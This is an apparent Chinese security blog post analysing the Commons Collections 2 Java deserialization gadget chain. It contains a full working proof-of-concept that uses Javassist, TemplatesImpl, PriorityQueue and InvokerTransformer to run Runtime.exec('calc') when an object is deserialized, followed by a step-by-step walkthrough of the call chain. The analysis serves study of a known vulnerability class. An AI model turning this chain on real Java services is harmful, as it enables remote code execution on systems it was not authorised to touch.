Java安全之Commons Collections2分析

nice_0e3發表於2020-10-22

Java安全之Commons Collections2分析

首發:Java安全之Commons Collections2分析

0x00 前言

前面分析了CC1的利用鏈,但是發現在CC1的利用鏈中是有版本的限制的。在JDK1.8 8u71版本以後,對AnnotationInvocationHandlerreadobject進行了改寫。導致高版本中利用鏈無法使用。

這就有了其他的利用鏈,在CC2鏈裡面並不是使用 AnnotationInvocationHandler來構造,而是使用

javassistPriorityQueue來構造利用鏈。

CC2鏈中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其實能使用,但是commons-collections-4.0版本刪除了lazyMapdecode方法,這時候我們可以使用lazyMap方法來代替。但是這裡產生了一個疑問,為什麼CC2鏈中使用commons-collections-4.03.2.1-3.1版本不能去使用,使用的是commons-collections-4.04.0的版本?在中間查閱了一些資料,發現在3.1-3.2.1版本中TransformingComparator並沒有去實現Serializable介面,也就是說這是不可以被序列化的。所以在利用鏈上就不能使用他去構造。

下面我把利用鏈給貼上。

Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

下面就來學習一下需要用到的基礎知識。 關於javassist上篇文章已經講過了,可以參考該篇文章:Java安全之Javassist動態程式設計

0x01 前置知識

PriorityQueue

構造方法:

PriorityQueue()           
	使用預設的初始容量(11)建立一個 PriorityQueue,並根據其自然順序對元素進行排序。
PriorityQueue(int initialCapacity)
	使用指定的初始容量建立一個 PriorityQueue,並根據其自然順序對元素進行排序。

常見方法:

add(E e)           			將指定的元素插入此優先順序佇列
clear()            			從此優先順序佇列中移除所有元素。
comparator()       			返回用來對此佇列中的元素進行排序的比較器;如果此佇列根據其元素的自然順序進行排序,則返回 null
contains(Object o)          如果此佇列包含指定的元素,則返回 true。
iterator()           		返回在此佇列中的元素上進行迭代的迭代器。
offer(E e)           		將指定的元素插入此優先順序佇列
peek()           			獲取但不移除此佇列的頭;如果此佇列為空,則返回 null。
poll()           			獲取並移除此佇列的頭,如果此佇列為空,則返回 null。
remove(Object o)           	從此佇列中移除指定元素的單個例項(如果存在)。
size()           			返回此 collection 中的元素數。
toArray()          			返回一個包含此佇列所有元素的陣列。

程式碼示例:

 public static void main(String[] args) {
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(2);
        priorityQueue.add(1);
        System.out.println(priorityQueue.poll());
        System.out.println(priorityQueue.poll());
    }

結果:

1
2

getDeclaredField

getDeclaredField是class超類的一個方法。該方法用來獲取類中或介面中已經存在的一個欄位,也就是成員變數。

該方法返回的是一個Field物件。

Field

常用方法:

get			返回該所表示的欄位的值 Field ,指定的物件上。 
set			將指定物件引數上的此 Field物件表示的欄位設定為指定的新值。

TransformingComparator

TransformingComparator是一個修飾器,和CC1中的ChainedTransformer類似。

檢視一下該類的構造方法

這裡發現個有意思的地方,compare方法會去呼叫transformertransform方法,嗅到了一絲絲CC1的味道。

0x02 POC分析

package com.test;



import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回預設的類池
        classPool.appendClassPath(AbstractTranslet);//新增AbstractTranslet的搜尋路徑
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設定前面建立的CommonsCollections22222222222類的父類為AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個空的類初始化,設定建構函式主體為runtime

        byte[] bytes=payload.toBytecode();//轉換為byte陣列

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes欄位
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes欄位設定為runtime的byte陣列

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name欄位
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//將templatesImpl上的_name欄位設定為test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修飾器傳入transformer物件
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量建立一個 PriorityQueue,並根據其自然順序對元素進行排序。
        queue.add(1);//新增數字1插入此優先順序佇列
        queue.add(1);//新增數字1插入此優先順序佇列

        Field field2=queue.getClass().getDeclaredField("comparator");//獲取PriorityQueue的comparator欄位
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//設定queue的comparator欄位值為comparator

        Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue欄位
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//設定queue的queue欄位內容Object陣列,內容為templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}


先來看第一段程式碼:

        ClassPool classPool=ClassPool.getDefault();//返回預設的類池
        classPool.appendClassPath(AbstractTranslet);//新增AbstractTranslet的搜尋路徑
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設定前面建立的CommonsCollections22222222222類的父類為AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

我在這裡劃分了幾個部分,這一段程式碼的意思可以簡單理解為一句話,建立動態一個類,設定父類新增命令執行內容。

這裡首先丟擲一個疑問,上面的程式碼在前面,新增了AbstractTranslet所在的搜尋路徑,將AbstractTranslet設定為使用動態新建類的父類,那麼這裡為什麼需要設定AbstractTranslet為新建類的父類呢?這裡先不做解答,後面分析poc的時候再去講。

 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes欄位
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes欄位設定為runtime的byte陣列

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name欄位
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//將templatesImpl上的_name欄位設定為test

第二部分程式碼,反射獲取_bytecodes的值,設定為轉換後的payload的位元組碼。_name也是一樣的方式設定為test。

那麼為什麼需要這樣設定呢?為什麼需要設定_bytecodes的值為paylaod的位元組碼?這是丟擲的第二個疑問。

這裡先來為第二個疑問做一個解答。

來看看TemplatesImpl_bytecodes被呼叫的地方

經過了load.defineclass方法返回了_class。在getTransletInstance()方法裡面呼叫了__class.newInstance()方法。也就是說對我們傳入的payload進行了例項化。這就是為什麼使用的是templatesImpl類而不是其他類來構造的原因。

而且看到他這裡是強轉為AbstractTranslet類型別。這也是第一個疑問中為什麼要繼承AbstractTranslet為父類的原因。

那麼就需要去尋找呼叫getTransletInstance的地方。在templatesImplnewTransformer方法中其實會呼叫到getTransletInstance方法。

這時候就要考慮到了newTransformer怎麼去呼叫了,POC中給出的解決方案是使用InvokerTransformer的反射去呼叫。

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

這又使用到了TransformingComparator是為什麼呢?其實在前置知識的地方說過。TransformingComparatorcompare方法會去呼叫傳入引數的transform方法。

而關於compare的辦法就需要用到PriorityQueue來實現了。

檢視對應的POC程式碼

PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

siftDownUsingComparator方法會呼叫到comparatorcompare

siftDownUsingComparator會在siftDown方法進行呼叫

siftDown會在heapify呼叫,而heapify會在readobject複寫點被呼叫。

下面再來看POC中的最後一段程式碼

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

設定queue.queue為Object[]陣列,內容為兩個內建惡意程式碼的TemplatesImpl例項例項化物件。這樣呼叫heapify方法裡面的時候就會進行傳參進去。

到這裡POC為何如此構造已經是比較清楚了,但是對於完整的一個鏈完整的執行流程卻不是很清楚。有必要除錯一遍。剛剛的分析其實也是逆向的去分析。

0x03 POC除錯

readobject位置打個斷點,就可以看到反序列化時,呼叫的是PriorityQueuereadobject,而這個readobject方法會去呼叫heapify方法。

heapify會呼叫siftDown方法,並且傳入queue,這裡的queue是剛剛傳入的構造好惡意程式碼的TemplatesImpl例項化物件。

該方法判斷comparator不為空,就會去呼叫siftDownUsingComparator,這的comparator是被TransformingComparator修飾過的InvokerTransformer例項化物件。

跟進到siftDownUsingComparator方法裡面,發現會方法會去呼叫comparatorcompare,因為我們這裡的compare是被TransformingComparator修飾過的InvokerTransformer例項化物件。所以這裡呼叫的就是TransformingComparatorcompare

在這裡傳入的2個引數,內容為TemplatesImpl例項化物件。

跟進到方法裡面,this.iMethodName內容為newTransformer反射呼叫了newTransformer方法。再跟進一下。

newTransformer會呼叫getTransletInstance方法。

再跟進一下getTransletInstance方法,這裡會發現先判斷是否為空,為空的話呼叫defineTransletClasses()進行賦值,這裡是將_bytecodes賦值給_class

defineTransletClasses()執行完後會跳回剛剛的地方,留意第一個if判斷語句如果_name等於null就直接返回null,不執行下面程式碼。這也是前面為什麼會為_name設定值的原因。

再來看他的下一段程式碼

_class.newInstance()_class進行例項化。執行完這一步後就會彈出一個計算器。

在最後面問題又來了,為什麼newInstance()例項化了一個物件就會執行命令呢?

其實這就涉及到了在 javassist是怎麼去構造的物件。

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));  payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 
payload.writeFile("./");

將這個類給寫出來,再來檢視一下具體的是怎麼構造的。

看到程式碼後其實就已經很清楚了,Runtime執行命令程式碼是在靜態程式碼塊裡面,靜態程式碼塊會在new物件的時候去執行。

呼叫鏈

ObjectInputStream.readObject()->PriorityQueue.readObject()->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance
->(動態建立的類)cc2.newInstance()->Runtime.exec()

0x04 結尾

其實個人覺得在分析利用鏈的時候,只是用別人寫好的POC程式碼看他的呼叫步驟的話,意義並不大。分析利用鏈需要思考利用鏈的POC為什麼要這樣寫。這也是我一直在文中一直丟擲疑問的原因,這些疑問都是我一開始考慮到的東西,需要多思考。

相關文章